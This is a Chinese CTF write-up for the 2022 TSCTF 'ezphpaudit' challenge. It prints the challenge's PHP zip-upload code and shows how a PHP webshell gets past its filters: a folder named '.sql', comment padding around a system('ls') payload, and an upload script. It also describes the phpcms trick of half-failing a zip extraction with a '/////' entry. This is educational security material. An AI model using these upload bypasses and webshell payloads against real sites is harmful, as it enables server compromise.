2022TSCTF ezphpaudit 学习


2022TSCTF ezphpaudit 学习

非预期

打开环境,F12发现提示?source,尝试输入?source=index.php,发现源码,进行代码审计。

<?php
echo "<!--?source-->";
error_reporting(0);
#传参$res = fzip_open($f_path, $tagdir);
#把zip解压到tagdir中
function fzip_open($fzip = '',$tagdir = '')
{
    #检测是否存在文件和目录
    if (file_exists($fzip) && is_dir($tagdir)) {
        #定义一个ZipArchive类
        $zip = new ZipArchive;
        try{
            #打开zip
            $status = $zip->open($fzip);
            #extractTO 将压缩包解压到指定文件$zip->extractTo('test');这里解压到tagdir中
            $status = $zip->extractTo($tagdir);
            #关闭zip
            $zip->close();
            return $status;
        }catch(Exception $e){
            return false;
        }
    }
    return false;
}
#$f_path= $userdir."/".$name;
#$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
#$tagdir = $userdir . 'tmp_' . $random.'/';
#moveSqlFile($tagdir, $userdir);传参
function moveSqlFile($old_path, $target_path)
{
    #打开一个目录,读取它的内容,然后关闭。成功则返回目录句柄资源。失败则返回 FALSE。
    $handle = opendir($old_path);
    #readdir() 函数返回目录中下一个文件的文件名。
    while (false !== $file = (readdir($handle))) {
        if ($file == '.' || $file == '..') {
            continue;
        }
·       #截取后四位字符
        $substr = substr($file, -4);
        if ($substr === '.sql') {
            rename($old_path . '/' . $file, $target_path . $file);
        }
    }
    closedir($handle);
    if (is_dir($old_path)) {
        #删除old_path
        deldir($old_path);
    }
}



function deldir($dir) {
    //先删除目录下的文件:
    $dh = opendir($dir);
    while ($file = readdir($dh)) {
        if($file != "." && $file!="..") {
        $fullpath = $dir."/".$file;
        if(!is_dir($fullpath)) {
            unlink($fullpath);
        } else {
            deldir($fullpath);
        }
        }
    }
    closedir($dh);
    
    //删除当前文件夹:
    if(rmdir($dir)) {
        return true;
    } else {
        return false;
    }
}

if(isset($_GET['source'])){
    highlight_file(__FILE__);
}


$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
if(!file_exists($userdir)){
    mkdir($userdir);
}
if(!empty($_FILES["file"])){
    $tmp_name = $_FILES["file"]["tmp_name"];
    $name = $_FILES["file"]["name"];
    #返回后缀名
    $extension = substr($name, strrpos($name,".")+1);#strops查找最后一次出现的位置,对大小写敏感
    $f_path= $userdir."/".$name;
    #返回后缀名
    $extension = substr($name, strrpos($name,".")+1);
    #检测后缀名是否含有ph
    if(preg_match("/ph/i",$extension)) die("No Hacker"); 
    #mb_strpos查找一个字符在字符串中首次出现的位置
    #下面的语句ban掉了<?
    if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("No Hacker");
    #将上传的文件移动到目录下
    @move_uploaded_file($tmp_name, $f_path);
    #输出目录
    print_r($f_path);
    #如果后缀是zip
    if($extension == 'zip'){
        $patten = "0123456789abcdef";#16位
        $random =  '';
        #下面循环生成一个四位的十六进制数
        while(true) {
            if (strlen($random) < 4) {
                #从0-16随机生成一个数
                $rand = rand(0, strlen($patten));
                #换为16进制
                $random .= substr($patten, $rand, 1);
            } else {
                break;
            }
        }
        #$f_path= $userdir."/".$name;
        #$userdir = "./sandbox/user_".md5($_SERVER['REMOTE_ADDR']).'/';
        $tagdir = $userdir . 'tmp_' . $random.'/';
        mkdir($tagdir);
        #调用上面的函数,要求返回值为真
        $res = fzip_open($f_path, $tagdir);
        if ($res) {
            #调用上面的含数,想办法利用
            moveSqlFile($tagdir, $userdir);
        }
    
    }
}
?> 

简单来说,是要利用.sql的后缀将zip文件中的东西逃逸出来,同时ban掉了php和<?
先考虑逃逸的问题,最初想要利用::$DATA等来让服务器解析为.php,用了很多的方法都没有成功绕过后缀.sql。
发现当文件夹名后四位为.sql时,也会逃逸出来。于是命名文件夹为.sql,在文件夹里面放上php脚本,成功将脚本打出zip。
接下来解决<?的问题,最初考虑使用<script>标签绕过,发现PHP7以上版本将该方法禁用了。
后面考虑将PHP脚本进行base64编码,然后通过.htaccess配置文件将其解码,但尝试后发现,网站为nginx模板,.htaccess没法使用,同时同目录下也没有可用的php文件,没法使用.user.ini绕过。
搜file_get_contents源码

//file.c (ext\standard) line 523 : PHP_FUNCTION(file_get_contents)
PHP_FUNCTION(file_get_contents)
{
//省略好多
stream = php_stream_open_wrapper_ex(filename, "rb",
                (use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
                NULL, context);
//省略好多
}

发现file_get_contents是以二进制的形式将文件写入的,猜测可以用二进制编码绕过,在本地尝试

f = open(r'C:\Users\Kingkb\Desktop\test.zip', 'rb')
a=f.read()
print(a)

发现一般情况下文件都是按字符读取的,但是当内容为

<?php /*test*/ /*test*/ /*test*/ system('ls');

的时候,文件会以二进制的形式打开,从而绕过了<?的判断。
发包payload:

import requests
url = 'http://10.7.2.148/'
files = {'file': open(r'C:\Users\Kingkb\Desktop\test.zip', 'rb')}
#data = {'xxx': xxx, 'xxx': xxx}
response = requests.post(url, files=files)
print(response.text)

赛题学习

以下摘自p神博客:回忆phpcms头像上传漏洞以及后续影响
主要见0x03处的分析。
源码:

<?php
// 创建图片存储的临时文件夹
   $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
   if (!file_exists($temp)) {
       mkdir($temp, 0777);
   }
   $filename = $temp.'avatar.zip'; // 存储flashpost图片
   file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
   // 解压缩文件
   $this->load->library('Pclzip');
   $this->pclzip->PclFile($filename);
   if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
       exit($this->pclzip->zip(true));
   }
   @unlink($filename);

其中一段代码

<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    exit($this->pclzip->zip(true));
}

当解压发生失败时,就退出解压缩过程。
这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。
什么意思,也就说我可以构造一个“出错”的压缩包,它可以解压出部分文件,但绝对会在解压未完成时出错。这是造成了一个状况:我上传的压缩包被解压了一半,webshell被解压出来了,但因为解压失败这里exit($this->pclzip->zip(true));退出了程序执行,后面一切的删除操作都没有了作用。
根据源码逻辑可以分析出我们的目标是让zip包解压出错,然后让访问解压一半出来的文件。

这里利用的trick就是在linux下,zip中文件名为/////会导致解压报错,只要构造一个1.php+/////的压缩包,就可以让1.php保留下来,因为报错而无法执行删除动作。

注意要用hex编辑器对文件进行重命名,推荐使用010editor,下载方式

随便新建一个文件夹,里面放入php脚本和一个随意的文件,以1.txt为例。
open
修改后保存
change
尝试解压
error
最后得到的文件夹
get


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !